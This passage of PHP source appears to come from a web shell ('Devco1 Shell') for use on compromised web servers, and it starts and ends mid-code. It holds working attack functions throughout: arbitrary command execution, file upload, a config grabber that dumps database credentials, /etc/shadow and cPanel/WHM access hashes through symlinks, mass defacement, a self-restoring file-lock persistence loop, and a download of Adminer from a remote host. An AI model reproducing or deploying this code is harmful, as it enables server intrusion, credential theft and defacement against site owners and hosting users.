(isset($_GET['pilihan']) && $_POST['pilih'] == "chmod") { $files = basename($_POST['path']); $sbr = 'substr'; $spr = 'sprintf'; $flperm = 'fileperms'; echo "<table class='directory-listing-table'><td> <center><font color='#fff'>Filename : <font color='orange'>$files</font> (".$sbr($spr('%o',$flperm($_POST['path'])), -4).")<br><br> <form method='post'> <div class='input-group mb-3' style='width:230px;'> <input type='text' name='mod1' class='form-control' maxlength='4' height='10' value='".$_POST['mod1']."' placeholder='0644' required/> <input type='hidden' name='path' value='".$_POST['path']."'> <input type='hidden' name='pilih' value='chmod'> <br><br><button type='submit' class='btn btn-outline-light mb-1' name='ganti' value='ganti'>Change</button></div> </form></td></table>"; if (isset($_POST['ganti'])) { $opet = @chmod($_POST['path'], octdec($_POST['mod1'])); if ($opet == true) { echo "<br><table class='directory-listing-table' style='border: 1px solid lime;'><td><center><font color='lime'>Changed Successfully!!</font></center></td></table>"; } else { echo "<table class='directory-listing-table' style='border: 1px solid red;'><td><center><font color='red'><i class='fa fa-exclamation-triangle' aria-hidden='true'></i> Failed to change!!</font></center></td></table>"; } }exit(); } elseif (isset($_GET['pilihan']) && $_POST['pilih'] == "unzip") { unzip($_POST['path'], $serlok); } elseif ($_REQUEST[net('upload')] == "opet") { echo "<table class='directory-listing-table'><td><center> <form method='POST' enctype='multipart/form-data' id='upload'><h5><i class='fa fa-upload'></i> UPLOAD FILES<h5> <div class='input-group' style='width:360px;'> <input type='file' name='d7netfile' id='d7net' style='background-color: grey;' class='form-control' name='uplod'> <input type='submit' class='btn btn-outline-light' for='inputGroupFile02' name='uplod' value='Upload'></div> </form></center></td></table>"; if (isset($_POST['uplod'])) { if ($_POST['dirnya'] == "2") { $serlok = $_SERVER['DOCUMENT_ROOT']; } if (empty($_FILES['d7netfile']['name'])) { echo "<br><table class='directory-listing-table' style='border-color:orange;'><td><font color='orange'><center><i class='fa fa-exclamation-triangle' aria-hidden='true'></i> File not selected</center></font>"; } else { $data = @file_put_contents($serlok."/".$_FILES['d7netfile']['name'], @file_get_contents($_FILES['d7netfile']['tmp_name'])); if (file_exists($serlok."/".$_FILES['d7netfile']['name'])) { $fl = $serlok."/".$_FILES['d7netfile']['name']; echo "<br><table class='directory-listing-table' style='border-color:lime;'><td> Uploaded => <font color='lime'><i>".$_FILES['d7netfile']['name']."</i></font><br>"; if (strpos($serlok, $_SERVER['DOCUMENT_ROOT']) !== false) { $lwb = str_replace($_SERVER['DOCUMENT_ROOT'], $web."/", $fl); echo "Link : <a href='".$lwb."' target='_blank'><font color='lime'>Click here</font></a></td></table><br>"; } echo "<br>"; } else { echo "<br><table class='directory-listing-table' style='border-color:red;'><td><font color='red'><center>There was an error uploading your file.</font></td></table>"; } } }exit(); } elseif ($_GET[net('tool')] == "opet") { echo '<table class="directory-listing-table"><thead><td><center><font color=orange>Select Tools</font><hr> <button class="btn btn-outline-light" onclick=location.href="?path='.$serlok.'&'.net("grab_config").'=opet">Grab Config</button> <button class="btn btn-outline-light" onclick=location.href="?path='.$serlok.'&'.net("hashiden").'=opet">Hash Identifier</button> <button class="btn btn-outline-light" onclick=location.href="?path='.$serlok.'&'.net("ner").'=opet">Adminer</button> <button class="btn btn-outline-light" onclick=location.href="?path='.$serlok.'&'.net("massdef").'=opet">Mass Deface</button> <button class="btn btn-outline-light" onclick=location.href="?path='.$serlok.'&'.net("scanshell").'=opet">Shell Finder</button> <button class="btn btn-outline-light" onclick=location.href="?path='.$serlok.'&'.net("lokfile").'=opet">Lock File</button> <button class="btn btn-outline-light" onclick=location.href="?path='.$serlok.'&'.net("resetcp").'=opet">Reset Cpanel</button><hr> '; exit(); } elseif ($_GET[net('cmd')] == "opet") { echo "<table class='directory-listing-table'><td>"; echo '<br><form method="post"><center> <div class="input-group" style="width:600px;"> <span class="input-group-text mb-1">Command :</span> <input type="text" class="form-control" name="komen" id="comandnya" value="'.$_POST['komen'].'" placeholder="uname -a" required> <button type="submit" name="comandeks" value="execute" class="btn btn-outline-light mb-1">>></button></div></form><br><center>'; if (isset($_POST['comandeks'])) { ekse($_POST['komen'], $serlok); } echo "</center></td></table><br></center>"; exit(); } elseif ($_REQUEST[net('about')] == "opet") { echo "<table class='directory-listing-table'><thead><td><center> <img src='https://webshell.it.com/logo.png' width='90' height='90' style='border-radius:50%;border:2px solid #40BECC;'/> <br><div style='font-family:Bungee Outline;font-size:22px;color:#40BECC;'>Devco1 Shell</div><hr> <br> Telegram : <a href='https://t.me/Devco1' target='_blank' style='color:#40BECC'>t.me/Devco1</a> <br> Web : <a href='https://indx.it.com/' target='_blank' style='color:#40BECC'>indx.it.com</a> | <a href='https://linkforge.cc/' target='_blank' style='color:#40BECC'>linkforge.cc</a> </center></td></thead></table>"; exit(); } elseif ($_REQUEST[net('lokfile')] == "opet") { echo "<table class='directory-listing-table'><td> <h5><i class='fa fa-lock' style='color:#1A9DD2;'></i> Lock file<font class='d7net-text' style='font-size:12px;'><i> Linux</i></font></h5><hr style='color:#04FBFF;'> <center><form method='post'> <div class='input-group' style='width:300px;'> <span class='input-group-text mb-2'>Filename :</span> <input type='text' name='pile' class='form-control mb-2' placeholder='file.php'/></div><br> <button type='sumbit' class='btn btn-outline-light' style='width:120px;' name='submit'>Submit</button> <a href='?path=".$serlok."&".net('tool')."=opet' class='btn btn-outline-light' style='width:120px;'>Back</a></form><br></td></table>"; if (isset($_POST['submit'])) { if (empty($_POST['pile'])) { echo "<br><table class='directory-listing-table' style='border-color:orange;'><td><font color='orange'><center>The File field is required</center></font></td></table>"; } else { $filez = $_POST['pile']; $tempe = "/tmp"; if (file_exists($tempe.'/'.md5($serlok. $filez.'-xd7net').d7net_ex($filez).'xhand.Lock') && file_exists($tempe . '/'.d7net_ex($filez).'-xopet')) { cmd('rm -rf '.$tempe.'/'.md5($serlok. $filez.'-xopet').d7net_ex($filez).'xd7net.Lock', $serlok); cmd('rm -rf '.$tempe.'/'.md5($serlok. $filez.'-xd7net').d7net_ex($filez).'xhand.Lock', $serlok); } cmd("cp $filez ".$tempe."/".md5($serlok. $filez.'-xopet').d7net_ex($filez).'xd7net.Lock', $serlok); @chmod($filez, 0444); $content = '<?php $tmp = "/tmp"; $fileperm = d7net_perm("'.$filez.'"); d7net_cmd("chmod 444 '.$filez.'"); while (True) { if (!file_exists("'.$filez.'")) { $var = base64_encode(file_get_contents($tmp . "/'.md5($serlok. $filez.'-xopet').d7net_ex($filez).'xd7net.Lock")); FiLe_pUt_ConTentS("'.$filez.'", base64_decode($var)); } if ($fileperm != "0444"){ d7net_cmd("chmod 444 '.$filez.'"); } } function d7net_cmd($value) { if (function_exists("system")) { sYsTem($value); } else if (function_exists("shell_exec")) { return ShEll_eXeC($value); } else if (function_exists("exec")) { return ExEc($value); } else if (function_exists("passthru")) { return pAsSThRu($value); } } function d7net_perm($filez){ return substr(sprintf("%o", fileperms($filez)), -4); }'; $content = file_put_contents($tempe. "/" .md5($serlok. $filez.'-xd7net'). d7net_ex($filez).'xhand.Lock', $content); if ($content) { echo "<table class='directory-listing-table' style='border-color:lime;'><td>Locked => <font color='lime'>$filez</font></td></table>"; cmd('php '. $tempe . '/' .md5($serlok. $filez.'-xd7net').d7net_ex($filez).'"xhand.Lock" > /dev/null 2>/dev/null &', $serlok); } else { echo "<table class='directory-listing-table' style='border-color:red;'><td><font color='red'><i class='fa fa-exclamation-triangle' aria-hidden='true'></i> Can't lock $filez</font></td></table>"; } } }exit(); } elseif ($_GET[net('resetcp')] == "opet") { echo "<table class='directory-listing-table'><td> <h5>Coming Soon</h5><hr></td></table><br>";exit(); } elseif ($_GET[net('hashiden')] == "opet") { echo "<table class='directory-listing-table'><td> <h5>Hash Identifier</h5>Identify and detect unknown hashes using this tool.<hr> <form method='POST'> <div class='input-group' style='width:650px;'> <span class='input-group-text mb-2'>Your hash :</span> <input type='text' name='hash' class='form-control mb-2' placeholder='write here'></div><br> <button type='submit' name='submit' class='btn btn-outline-light'>Submit & identify</button> <a href='?path=".$serlok."&".net('tool')."=opet' class='btn btn-outline-light'>Back</a></form></td></table><br>"; if (isset($_POST['submit'])) { if (empty($_POST['hash'])) { echo "<table class='directory-listing-table' style='border-color:orange;'><td><font color='orange'><center><i class='fa fa-exclamation-triangle' aria-hidden='true'></i> The Hashes field is required</font></center></td></table>"; } else { function identify($hash) { $algorithms = [ '<font color="lime">MD5' => '/^[a-f0-9]{32}$/i', '<font color="lime">SHA1' => '/^[a-f0-9]{40}$/i', '<font color="lime">SHA224, Keccak-224' => '/^[a-f0-9]{56}$/i', '<font color="lime">SHA256' => '/^[a-f0-9]{64}$/i', '<font color="lime">SHA512' => '/^[a-f0-9]{128}$/i', '<font color="lime">Bcrypt, Blowfish(Unix)' => '/^\$2y\$[0-9]{2}\$[A-Za-z0-9\.\/]{53}$/', '<font color="lime">Argon2i' => '/^\$argon2i\$v=\d+\$m=\d+,t=\d+,p=\d+\$[A-Za-z0-9\/+]{43,}\$[A-Za-z0-9\/+]{43,}$/', '<font color="lime">Argon2id' => '/^\$argon2id\$v=\d+\$m=\d+,t=\d+,p=\d+\$[A-Za-z0-9\/+]{43,}\$[A-Za-z0-9\/+]{43,}$/']; foreach ($algorithms as $name => $pattern) { if (preg_match($pattern, $hash)) { return $name; } } return '<font color="red">Could not identify / Tidak dapat mengidentifikasi</font>'; } $hashes = [$_POST['hash']]; echo "<table class='directory-listing-table'><td>"; foreach ($hashes as $hash) { echo " Hash : <font color='lime'>$hash\n</font>"; echo "<br> Algorithms : " .identify($hash). "\n\n</font></td></table>"; } } } exit(); } elseif ($_GET[net('grab_config')] == "opet") { @ini_set('max_execution_time', 0); @ini_set('display_errors', 0); // ── helpers ────────────────────────────────────────────────────────────────── function cfg_parse_env($raw) { $out = []; foreach (explode("\n", $raw) as $line) { $line = trim($line); if (!$line || $line[0] === '#') continue; if (strpos($line, '=') !== false) { [$k, $v] = explode('=', $line, 2); $k = trim($k); $v = trim($v, " \t\"'"); if (preg_match('/pass|secret|key|token|db_|database|user|host|port/i', $k)) $out[$k] = $v; } } return $out; } function cfg_parse_wp($raw) { $out = []; preg_match_all("/define\s*\(\s*['\"]([^'\"]+)['\"]\s*,\s*['\"]([^'\"]*)['\"]/",$raw,$m); foreach ($m[1] as $i => $k) { if (preg_match('/DB_|SECRET|AUTH|SALT/i', $k)) $out[$k] = $m[2][$i]; } return $out; } function cfg_parse_joomla($raw) { $out = []; preg_match_all('/var\s+\$(\w+)\s*=\s*[\'"]([^\'"]*)[\'"]/', $raw, $m); foreach ($m[1] as $i => $k) { if (preg_match('/user|pass|db|host|secret/i', $k)) $out[$k] = $m[2][$i]; } return $out; } function cfg_parse_generic($raw) { $out = []; preg_match_all('/[\'"]?((?:db_?)?(?:host|user(?:name)?|pass(?:word)?|name|port|database|secret|key|token))[\'"]?\s*[=:>]+\s*[\'"]?([^\s\'">,;\)]+)/i', $raw, $m); foreach ($m[1] as $i => $k) $out[$k] = $m[2][$i]; return $out; } function cfg_read($path) { if (@is_readable($path) && @is_file($path)) return @file_get_contents($path); return false; } function cfg_row($label, $path, $found, $creds=[]) { $icon = $found ? '<i class="fa fa-check-circle" style="color:var(--success)"></i>' : '<i class="fa fa-times-circle" style="color:var(--muted)"></i>'; $out = '<tr><td>'.$icon.'</td><td style="font:11px var(--mono);color:var(--accent)">'.$label.'</td>'; $out .= '<td style="font:10px var(--mono);color:var(--muted);word-break:break-all">'.htmlspecialchars($path).'</td>'; if ($found && $creds) { $credstr = ''; foreach ($creds as $k=>$v) $credstr .= '<span style="color:var(--accent2)">'.$k.'</span>=<span style="color:var(--success)">'.htmlspecialchars($v).'</span> '; $out .= '<td style="font:11px var(--mono)">'.$credstr.'</td>'; } else { $out .= '<td>-</td>'; } $out .= '</tr>'; return $out; } // ── auto-detect current CMS ─────────────────────────────────────────────────── $doc = $_SERVER['DOCUMENT_ROOT']; $detected = []; $cms_checks = [ 'WordPress' => [$serlok.'/wp-config.php', $doc.'/wp-config.php'], 'Joomla' => [$serlok.'/configuration.php', $doc.'/configuration.php'], 'Laravel/.env' => [$serlok.'/.env', $doc.'/.env', $doc.'/../.env'], 'OpenCart' => [$serlok.'/config.php', $doc.'/config.php'], 'Magento' => [$serlok.'/app/etc/local.xml', $doc.'/app/etc/local.xml'], 'Drupal' => [$serlok.'/sites/default/settings.php', $doc.'/sites/default/settings.php'], 'PrestaShop' => [$serlok.'/app/config/parameters.php', $doc.'/app/config/parameters.php'], 'WHMCS' => [$serlok.'/configuration.php', $doc.'/includes/configuration.php'], 'CodeIgniter' => [$serlok.'/application/config/database.php', $doc.'/application/config/database.php'], 'Symfony' => [$serlok.'/.env', $doc.'/.env.local'], 'cPanel .my.cnf' => ['/root/.my.cnf'], 'WHM accesshash' => ['/root/.accesshash'], ]; echo '<div class="directory-listing-table">'; echo '<h5><i class="fa fa-database"></i> Config Grabber — Auto-Detect + Symlink Dump</h5><hr>'; // ── tab 1: auto-detect (direct read) ───────────────────────────────────────── echo '<div style="margin-bottom:14px">'; echo '<strong style="color:var(--accent);font-size:12px"><i class="fa fa-eye"></i> Direct Read (this server)</strong>'; echo '<table style="width:100%;border-collapse:collapse;margin-top:8px;font-size:12px"> <tr style="background:var(--bg3)"> <th style="padding:6px 8px;color:var(--muted);text-align:left;width:28px"></th> <th style="padding:6px 8px;color:var(--muted);text-align:left">CMS / File</th> <th style="padding:6px 8px;color:var(--muted);text-align:left">Path</th> <th style="padding:6px 8px;color:var(--muted);text-align:left">Credentials found</th> </tr>'; $found_any = false; foreach ($cms_checks as $label => $paths) { foreach ($paths as $p) { $raw = cfg_read($p); if ($raw !== false) { $found_any = true; if (stripos($label,'WordPress') !== false) $creds = cfg_parse_wp($raw); elseif (stripos($label,'Joomla') !== false) $creds = cfg_parse_joomla($raw); elseif (stripos($label,'.env') !== false || stripos($label,'Laravel') !== false || stripos($label,'Symfony') !== false) $creds = cfg_parse_env($raw); else $creds = cfg_parse_generic($raw); echo cfg_row($label, $p, true, $creds); break; } } if (!$found_any) { // show first path as not-found placeholder (only once per label) echo cfg_row($label, $paths[0], false); } $found_any = false; } echo '</table></div>'; // ── tab 2: symlink dump ─────────────────────────────────────────────────────── echo '<hr><strong style="color:var(--accent);font-size:12px"><i class="fa fa-link"></i> Symlink Dump (mass grab via /etc/passwd)</strong>'; $users_raw = @file('/etc/passwd') ?: []; $users = []; foreach ($users_raw as $line) { $p = explode(':', $line); if (isset($p[0])) $users[] = trim($p[0]); } echo '<form method="POST" style="margin-top:10px"> <div class="input-group" style="margin-bottom:8px"> <span class="input-group-text">Users</span> <textarea name="passwd" style="height:80px;font-size:11px">'.implode("\n",$users).'</textarea> </div> <div class="input-group" style="margin-bottom:8px"> <span class="input-group-text">Output dir</span> <input type="text" name="folfig" value="devco1cfg" style="width:180px"> </div> <button type="submit" name="conf" class="btn btn-accent"><i class="fa fa-download"></i> Run Symlink Dump</button> <a href="?path='.$serlok.'&'.net('tool').'=opet" class="btn">Back</a> </form>'; if (isset($_POST['conf'])) { $folfig = preg_replace('/[^a-zA-Z0-9_\-]/', '', $_POST['folfig'] ?: 'devco1cfg'); @mkdir($serlok.'/'.$folfig, 0755); $outdir = $serlok.'/'.$folfig; $htaccess = "Options Indexes FollowSymLinks\nDirectoryIndex .my.cnf\nAddType text/plain .php\nAddType text/plain .my.cnf\nAddType text/plain .accesshash\nAddType text/plain .env\n"; @file_put_contents($outdir.'/.htaccess', $htaccess); $symlinks = []; // [label => path] $v = 'var'; foreach ($_POST['passwd'] ? explode("\n", $_POST['passwd']) : $users as $u) { $u = trim($u); if (!$u) continue; foreach (['','/home','/home1','/home2','/home3','/usr/home','/data/home'] as $hbase) { $h = $hbase ? "$hbase/$u" : "/home/$u"; foreach (['/public_html','/htdocs','/www','/web'] as $pub) { $base = $h.$pub; $symlinks["$u-Wp$pub.txt"] = "$base/wp-config.php"; $symlinks["$u-WpBlog$pub.txt"] = "$base/blog/wp-config.php"; $symlinks["$u-WpWeb$pub.txt"] = "$base/web/wp-config.php"; $symlinks["$u-Joomla$pub.txt"] = "$base/configuration.php"; $symlinks["$u-JoomlaHtml$pub.txt"] = "$base/html/configuration.php"; $symlinks["$u-Laravel$pub.txt"] = "$base/.env"; $symlinks["$u-LaravelPub$pub.txt"] = "$base/public/.env"; $symlinks["$u-LaravelSub$pub.txt"] = "$base/laravel/.env"; $symlinks["$u-CI$pub.txt"] = "$base/application/config/database.php"; $symlinks["$u-CIWeb$pub.txt"] = "$base/web/application/config/database.php"; $symlinks["$u-OpenCart$pub.txt"] = "$base/admin/config.php"; $symlinks["$u-OpenCartMain$pub.txt"] = "$base/config.php"; $symlinks["$u-Magento$pub.txt"] = "$base/app/etc/local.xml"; $symlinks["$u-MagentoEnv$pub.txt"] = "$base/app/etc/env.php"; $symlinks["$u-Drupal$pub.txt"] = "$base/sites/default/settings.php"; $symlinks["$u-PrestaShop$pub.txt"] = "$base/app/config/parameters.php"; $symlinks["$u-Prestashop2$pub.txt"] = "$base/config/settings.inc.php"; $symlinks["$u-WHMCS$pub.txt"] = "$base/includes/configuration.php"; $symlinks["$u-WHMCSDir$pub.txt"] = "$base/whmcs/configuration.php"; $symlinks["$u-WHMCSOrder$pub.txt"] = "$base/order/configuration.php"; $symlinks["$u-WHMCSBilling$pub.txt"] = "$base/billing/configuration.php"; $symlinks["$u-vBulletin$pub.txt"] = "$base/vb/includes/config.php"; $symlinks["$u-vBulletin2$pub.txt"] = "$base/forum/includes/config.php"; $symlinks["$u-phpBB$pub.txt"] = "$base/config.php"; $symlinks["$u-Symfony$pub.txt"] = "$base/.env.local"; $symlinks["$u-SymfonyProd$pub.txt"] = "$base/.env.prod"; $symlinks["$u-NodeEnv$pub.txt"] = "$base/.env"; $symlinks["$u-XCart$pub.txt"] = "$base/etc/config.php"; $symlinks["$u-Concrete5$pub.txt"] = "$base/application/config/database.php"; $symlinks["$u-MODX$pub.txt"] = "$base/core/config/config.inc.php"; } $symlinks["$u-cpanel.txt"] = "$h/.my.cnf"; $symlinks["$u-whm.txt"] = "$h/.accesshash"; $symlinks["$u-ftppass.txt"]= "$h/.ftppasswd"; $symlinks["$u-shadow.txt"] = "$h/.shadow"; } } // common absolute paths foreach (['/var/www/html','/var/www','/srv/www/htdocs','/srv/http'] as $vroot) { $symlinks["$v-wp-vroot.txt"] = "$vroot/wp-config.php"; $symlinks["$v-env-vroot.txt"] = "$vroot/.env"; $symlinks["$v-joomla-vroot.txt"] = "$vroot/configuration.php"; $symlinks["$v-drupal-vroot.txt"] = "$vroot/sites/default/settings.php"; } $symlinks['sys-shadow.txt'] = '/etc/shadow'; $symlinks['sys-mycnf.txt'] = '/root/.my.cnf'; $symlinks['sys-accesshash.txt']= '/root/.accesshash'; $ok = 0; $fail = 0; foreach ($symlinks as $name => $target) { $dst = $outdir.'/'.$name; if (!file_exists($dst) && @symlink($target, $dst)) $ok++; else $fail++; } $url = str_replace($_SERVER['DOCUMENT_ROOT'], $web.'/', $outdir); echo '<div class="alert alert-ok" style="margin-top:10px"><i class="fa fa-check"></i> Done — <b>'.$ok.'</b> symlinks created, '.$fail.' skipped — <a href="'.$url.'" target="_blank">'.$url.'</a></div>'; } echo '</div>'; exit(); } elseif ($_REQUEST[net('scanshell')] == "opet") { echo "<center><table class='directory-listing-table'><td> <form method='post'> <h5><i class='fa-solid fa-newspaper'></i> Backdoors Scanning</font></h5><hr> *note : Jika resultnya kosong berarti tidak ditemukan/ekstensi nya di isi dengan benar <div class='input-group mb-2' style='width:350px;'> <span class='input-group-text mb-1'>Extension :</span> <input type='text' class='form-control' name='ext' placeholder='ex : php, phar, shtml, phtml'></div> <div class='input-group mb-2' style='width:550px;'> <span class='input-group-text mb-1'>Directory :</span> <input type='text' class='form-control' name='peth' value='$serlok'></div> <button type='submit' class='btn btn-outline-light' name='submit' style='width:120px;'>Submit</button> <a href='?path=".$serlok."&".net('tool')."=opet' class='btn btn-outline-light' style='width:120px;'>Back</a> </form></td></table><br>"; if(isset($_POST['submit'])) { function scan_directory($dir) { $ext = $_POST['ext']; $rdi = new RecursiveDirectoryIterator($dir); echo "<table class='directory-listing-table'><td>"; foreach (new RecursiveIteratorIterator($rdi) as $filename => $file) { if (pathinfo($filename, PATHINFO_EXTENSION) == $ext) { $content = file_get_contents($filename); if (preg_match('/(eval|base64_decode|str_rot13|mass_deface|addrdp|@exec|@passthru|@chmod|#exec|deface|command|{IFS}|shell_exec|SERVER_SOFTWARE|wget|@get_current_user|@getmygid|htmlspecialchars_decode|B374k|@getmygid|hacked|exe_root|xploit|Disable_Function|backdoor|backconnect|gecko-select|php_uname|Alfa-Team|ALFA_DATA|MARIJUANA|blackeagleteam|IndoSec|getHostByName|alfashell|php-obfuscator|gacor|slot-gacor|slot88|featureShell|move_upload_file|upload)\s*\(/i', $content)) { echo "<pre>Found : <font color='lime'>$filename</font> => <font color='orange'>Detected</font> <a href='?viewfile=$filename&path=".$_GET['path']."/$rdi' target='_blank'><i>view</i></a></pre>\n"; } } } } $cek = $_POST['peth']; if ($cek) { scan_directory($cek); echo "<font color='aqua'>Scan Completed..!!</font></td></table><br>"; } } exit(); } elseif ($_REQUEST[net('massdef')] == "opet") { function sabun_massal($serlok,$namafile,$isi_script) { if(is_writable($serlok)) { $dira = scandir($serlok); foreach($dira as $dirb) { $dirc = "$serlok/$dirb"; $lokasi = $dirc.'/'.$namafile; if($dirb === '.') { file_put_contents($lokasi, $isi_script); } elseif($dirb === '..') { file_put_contents($lokasi, $isi_script); } else { if(is_dir($dirc)) { if(is_writable($dirc)) { echo "[<font color=lime>DONE</font>] $serlok<br>"; file_put_contents($lokasi, $isi_script); $idx = sabun_massal($dirc,$namafile,$isi_script); } } } } } } function sabun_biasa($serlok,$namafile,$isi_script) { if(is_writable($serlok)) { $dira = scandir($serlok); foreach($dira as $dirb) { $dirc = "$serlok/$dirb"; $lokasi = $dirc.'/'.$namafile; if($dirb === '.') { file_put_contents($lokasi, $isi_script); } elseif($dirb === '..') { file_put_contents($lokasi, $isi_script); } else { if(is_dir($dirc)) { if(is_writable($dirc)) { echo " http://$dirb/$namafile<br>"; file_put_contents($lokasi, $isi_script); } } } } } } if($_POST['start']) { if($_POST['tipe_sabun'] == 'mahal') { echo "<table class='directory-listing-table'><td>"; sabun_massal($_POST['d_dir'], $_POST['d_file'], $_POST['script']); echo "</td></table></div>"; } elseif($_POST['tipe_sabun'] == 'murah') { echo "<table class='directory-listing-table'><td>"; sabun_biasa($_POST['d_dir'], $_POST['d_file'], $_POST['script']); echo "</td></table></div>"; } } else { echo "<table class='directory-listing-table'><td>"; echo "<form method='post'> <div class='form-check-inline mb-2'> <input type='radio' name='tipe_sabun' id='biasa' class='form-check-input' value='murah' checked> <label class='form-check-label' for='inlineRadio1'>Biasa</label></div> <div class='form-check form-check-inline'> <input type='radio' name='tipe_sabun' class='form-check-input' value='mahal'> <label class='form-check-label' for='inlineRadio2'>Massal</label></div> <div class='input-group' style='width:430px;'> <span class='input-group-text mb-1'>Files :</span> <input type='text' name='d_file' class='form-control' placeholder='file.html'></div> <div class='input-group' style='width:750px;'> <span class='input-group-text mb-1'>Path :</span> <input type='text' name='d_dir' class='form-control' value='$serlok'></div> <textarea name='script' class='form-control' style='width: 750px; height: 300px;' placeholder='Hello Word!'></textarea><br> <button type='submit' name='start' value='start' class='btn btn-outline-light' style='width: 300px;'>submit</button> <a href='?path=$serlok&".net('tool')."=opet' class='btn btn-outline-light' style='width: 300px;'>Back</a> </form></td></table>"; }exit(); } elseif ($_REQUEST[net('ner')] == "opet") { function crot($url){ $d7net = curl_init($url); curl_setopt($d7net, CURLOPT_RETURNTRANSFER, 1); curl_setopt($d7net, CURLOPT_CONNECTTIMEOUT, 10); curl_setopt($d7net, CURLOPT_FOLLOWLOCATION, 1); curl_setopt($d7net, CURLOPT_HEADER, 0); return curl_exec($d7net); curl_close($d7net); } echo "<table class='directory-listing-table'><td><h5><i class='fa fa-database' aria-hidden='true'></i> Adminer<font class='d7net-text' style='font-size:12px;'><i> v4.8.1</i></font></h5><hr><center> <form method='POST'> <div class='input-group' style='width:300px;'> <span class='input-group-text mb-2'>Filename :</span> <input type='text' placeholder='adminer.php' class='form-control mb-2' name='miner'></div><br> <button type='sumbit' class='btn btn-outline-light' name='gass' style='width:120px;'>Submit</button> <a href='?path=".$serlok."&".net('tool')."=opet' class='btn btn-outline-light' style='width:120px;'>Back</a></form></td></table><br>"; if(isset($_POST['gass'])) { if (empty($_POST['miner'])) { echo "<table class='directory-listing-table' style='border-color:orange;'><td><font color='orange'><center><i class='fa fa-exclamation-triangle' aria-hidden='true'></i> Input field is required<center></font></td></table>"; } else { $check = $serlok."/".$_POST['miner']; $result = str_replace($_SERVER['DOCUMENT_ROOT'], $web."",$check); $content = crot('https://raw.githubusercontent.com/bellpwn/netxploit/main/adminer.php'); $open = fopen($check, 'w'); fwrite($open, $content); fclose($open); if (file_exists($check)) { echo "<table class='directory-listing-table' style='border-color:lime;'><td>Adminer<font color='lime'> : $check </font><br>Link : <a href='".$result."' target='_blank'><i>$result</i></a></td></table>"; } else { echo "<table class='directory-listing-table' style='border-color:red;'><td><font color='red'><center><i class='fa fa-exclamation-triangle' aria-hidden='true'></i> Failed to create adminer..!!</center></font></td></table>"; } } }exit(); } elseif ($_REQUEST[net('buatfile')] == "opet") { function createfile(){ $pat = $_GET['path']; $nama_file = $_POST['nama_file']; $isi_file = $_POST['isi_file']; $handle = fopen("$pat/$nama_file", 'w'); $files = $_GET['path']."/".$nama_file; $asu = str_replace($_SERVER['DOCUMENT_ROOT'], $web. "", $files); if (fwrite($handle, $isi_file)) { echo '<table class="directory-listing-table" style="border-color:lime;"><td>Created => <font color="lime">'.$pat.'/'.$nama_file.'<br></font>Link : <a href="'.$asu.'" target="_blank"><font color="aqua"><i>Click here</i></a></font></td></table>'; } else { echo '<table class="directory-listing-table" style="border-color:red;"><td><font color=red><i class="fa fa-exclamation-triangle" aria-hidden="true"></i> Failed to create file..!!</font></script></td></table>'; } } if(!isset($_POST['bikin'])) { echo "<center><table class='directory-listing-table'><td width='12%''> <form method='POST'> <input type='text' value='file.php' placeholder='Nama File' style='width: 525px;' name='nama_file' autocomplete='off'><br><br> <textarea name='isi_file' rows='20' cols='100' placeholder='Hello World!'></textarea><br> <button type='sumbit' class='btn btn-outline-light' style='width:200px; height:36px;' height:30;' name='bikin'>CREATE</button> <a href='?path=".$serlok."' class='btn btn-outline-light'>Back</a><br> </form></center>"; } else { createfile(); }exit(); } elseif ($_GET[net('buatfolder')] == "opet") { function createDirectory() { if (empty($_POST['add'])) { echo '<table class="directory-listing-table" style="border-color:orange;"><td><font color="orange">Folder field is required</font> [<a href="?path='.$_GET['path'].'&'.net("buatfolder").'=opet"><i class="fa-solid fa-folder-plus" aria-hidden="true"></i>Create again</a>]</td></table>'; } else { $add = $_POST["add"]; $d7net = mkdir($_GET['path']."/".$add); if ($d7net == true) { echo "<table class='directory-listing-table' style='border-color:lime;'><td>Created =><font color=lime> ".$_GET['path']."/</font><font color='orange'>$add</font><br> <a href='?path=".$_GET['path']."/$add'><u>Click Here</u></a></td></table>"; } else { echo "<table class='directory-listing-table' style='border-color:red;'><td><font color=red><i class='fa fa-exclamation-triangle' aria-hidden='true'></i> Failed to create folder : $add</font></td></table>"; } } } if (!isset($_POST['submit'])) { echo '<table class="directory-listing-table"><td> <form action="" method = "POST"><h5><i class="fa fa-folder-plus"></i> Create Folder</h5><hr><center> <div style="width:300px;"> <input type="text" class="form-control" placeholder="Folder Name" name="add" id="add"/><br></div> <button type="submit" class="btn btn-outline-light" name="submit" value="Create directory" style="width:120px;">Create</button> <a href="?path='.$serlok.'" class="btn btn-outline-light" style="width:120px;">Back</a><br><br></form></td></table>'; } else { createDirectory(); }exit(); } elseif ($_REQUEST[net('info')] == "opet") { echo "<table class='directory-listing-table' align='center'> <div id='content'><tr><td>"; echo "Server : <font color=orang>".$_SERVER['HTTP_HOST']."</font><br>"; echo "Server IP : <font color=orange>".ipserv()."</font> <br> Your IP : <font color=orange>".$_SERVER['REMOTE_ADDR']."</font><br>"; echo "Web Server : <font color='orange'>".$_SERVER['SERVER_SOFTWARE']."</font><br>"; echo "System : <font color='orange'>".php_uname()."</font><br>"; echo "User : <font color='orange'>".@get_current_user()." </font>( <font color='orange'>".@getmyuid()."</font>)<br>"; echo "PHP Version : <font color='orange'>".@phpversion()." </font>=><font color='orange'> ".php_sapi_name()."</font><br>"; echo "</tr></td><tr><td>Disable Function : ".$disf."</font>"; echo "</div></tr></td><tr><td>"; echo "<hr>Orecle : "; if (function_exists('oci_connect')) { echo "<font color=lime>ON</font>"; } else { echo "<font color=red>OFF</font>"; echo " | SSH2 : "; } if (function_exists('ssh2_connect')) { echo "<font color=lime>ON</font>"; } else { echo "<font color=red>OFF</font>"; echo " | MySQL : "; } if (function_exists("mysql_connect")) { echo "<font color=lime>ON</font>"; } else { echo "<font color=red>OFF</font>"; } echo " | cURL : "; if (function_exists("curl_init")) { echo "<font color=lime>ON</font>"; } else { echo "<font color=red>OFF</font>"; } echo " | WGET : "; if (file_exists("/usr/bin/wget")) { echo "<font color=lime>ON</font>"; } else { echo "<font color=red>OFF</font>"; } echo " | Perl : "; if (file_exists("/usr/bin/perl")) { echo "<font color=lime>ON</font>"; } else { echo "<font color=red>OFF</font>"; } echo " | Python : "; if (file_exists("/usr/bin/python2")) { echo "<font color=lime>ON</font>"; } else { echo "<font color=red>OFF</font>"; } $pkexec = (@shell_exec("pkexec --version")) ? "<font color='lime'>ON</font>" : "<font color='red'>OFF</font>"; echo " | PKEXEC : $pkexec<br><br>"; echo "</tr></td></table><br>"; exit(); } if (!is_readable($serlok)) { die("<table class='directory-listing-table'><thead><td><center><font 